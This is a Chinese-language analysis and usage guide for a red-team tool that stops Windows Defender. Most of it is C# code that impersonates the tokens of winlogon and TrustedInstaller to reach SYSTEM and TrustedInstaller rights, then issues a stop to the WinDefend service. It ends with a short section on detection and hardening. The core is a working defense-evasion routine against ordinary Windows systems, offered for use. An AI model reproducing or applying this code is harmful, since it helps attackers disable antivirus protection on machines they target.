Sharp4DefenderStop:通过令牌模拟停止Windows Defender
字数 1534 2025-08-22 12:22:42
Sharp4DefenderStop 技术分析与使用指南
1. 工具概述
Sharp4DefenderStop 是一款通过令牌模拟技术实现停止 Windows Defender 服务的工具,其核心原理是通过提升进程权限至 TrustedInstaller 级别来控制 Windows Defender 服务。
2. 技术背景
2.1 Windows Defender 行为特性
- 当系统安装第三方反病毒软件时,Windows Defender 会自动停止
- 当 TrustedInstaller 服务执行系统更新或关键操作时,Windows Defender 会自动退出
2.2 TrustedInstaller 服务
- Windows Modules Installer 服务的组件
- 负责管理 Windows 更新和系统组件的安装、修改和删除
- 权限高于 SYSTEM 账户
- 能够操作系统核心文件和注册表
3. 实现原理
3.1 整体流程
- 获取当前进程用户名
- 启动 TrustedInstaller 服务
- 提升权限至 SYSTEM
- 获取 TrustedInstaller 权限
- 关闭 Windows Defender 服务
3.2 关键技术点
- 令牌模拟:通过模拟高权限进程的令牌获取其权限
- 服务控制:通过 Windows API 控制服务启动和停止
4. 核心代码解析
4.1 获取当前进程用户名
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetUserName(System.Text.StringBuilder sb, ref Int32 length);
public static void get_username()
{
StringBuilder Buffer = new StringBuilder(64);
int nSize = 64;
GetUserName(Buffer, ref nSize);
Console.WriteLine(Buffer.ToString());
}
- 使用
advapi32.dll中的GetUserNameAPI - 主要用于验证当前用户身份
4.2 启动 TrustedInstaller 服务
public static void start_trustedinstaller_service()
{
IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);
Console.WriteLine("OpenSCManager success!");
string ServiceName = "TrustedInstaller";
IntPtr schService = OpenService(SCMHandle, ServiceName, (uint)SERVICE_ACCESS.SERVICE_START);
bool bResult = StartService(schService, 0, null);
Thread.Sleep(2000);
CloseHandle(schService);
CloseHandle(SCMHandle);
}
OpenSCManager打开服务控制管理器OpenService获取 TrustedInstaller 服务句柄StartService启动 TrustedInstaller 服务- 需要
SERVICE_START权限
4.3 提升权限至 SYSTEM
public static void escalate_to_system()
{
Process[] processlist = Process.GetProcesses();
IntPtr tokenHandle = IntPtr.Zero;
foreach(Process theProcess in processlist)
{
if(theProcess.ProcessName == "winlogon")
{
bool token = OpenProcessToken(theProcess.Handle,
TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
token = ImpersonateLoggedOnUser(tokenHandle);
Console.Write("User after impersonation: ");
get_username();
CloseHandle(theProcess.Handle);
}
}
CloseHandle(tokenHandle);
}
- 遍历进程列表找到
winlogon进程 OpenProcessToken获取进程令牌ImpersonateLoggedOnUser模拟 winlogon 进程权限- 需要
TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE权限
4.4 获取 TrustedInstaller 权限
foreach(Process theProcess in processlist)
{
if(theProcess.ProcessName == "TrustedInstaller")
{
bool token = OpenProcessToken(theProcess.Handle,
TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
token = ImpersonateLoggedOnUser(tokenHandle);
Console.Write("Trusted Installer impersonated!");
CloseHandle(theProcess.Handle);
}
}
CloseHandle(tokenHandle);
- 类似 SYSTEM 提升过程
- 找到 TrustedInstaller 进程并模拟其令牌
4.5 关闭 Windows Defender 服务
string ServiceName = "WinDefend";
IntPtr schService = OpenService(SCMHandle, ServiceName,
(uint)(SERVICE_ACCESS.SERVICE_STOP | SERVICE_ACCESS.SERVICE_QUERY_STATUS | SERVICE_ACCESS.SERVICE_ENUMERATE_DEPENDENTS));
SERVICE_STATUS ssp = new SERVICE_STATUS();
bool bResult = ControlService(schService, SERVICE_CONTROL.STOP, ref ssp);
- 打开 WinDefend 服务
- 使用
SERVICE_STOP控制码停止服务
5. 使用说明
5.1 运行环境
- Windows 操作系统
- .NET 环境
- 管理员权限
5.2 运行效果
- 运行后 Windows Defender 服务将被停止
- 系统右下角会弹出 Defender 关闭通知
- 控制面板中 Defender 状态显示为已停止
6. 防御措施
6.1 检测方法
- 监控 TrustedInstaller 服务的异常启动
- 检测令牌模拟行为
- 监控 WinDefend 服务的异常停止
6.2 防护建议
- 限制服务控制权限
- 实施最小权限原则
- 监控高权限进程创建
7. 总结
Sharp4DefenderStop 通过以下关键步骤实现 Defender 关闭:
- 启动 TrustedInstaller 服务获取令牌
- 通过令牌模拟提升至 SYSTEM 权限
- 进一步模拟 TrustedInstaller 权限
- 利用高权限停止 Defender 服务
该工具在红队操作中具有重要价值,同时也提醒了系统管理员需要加强对高权限操作和令牌模拟行为的监控。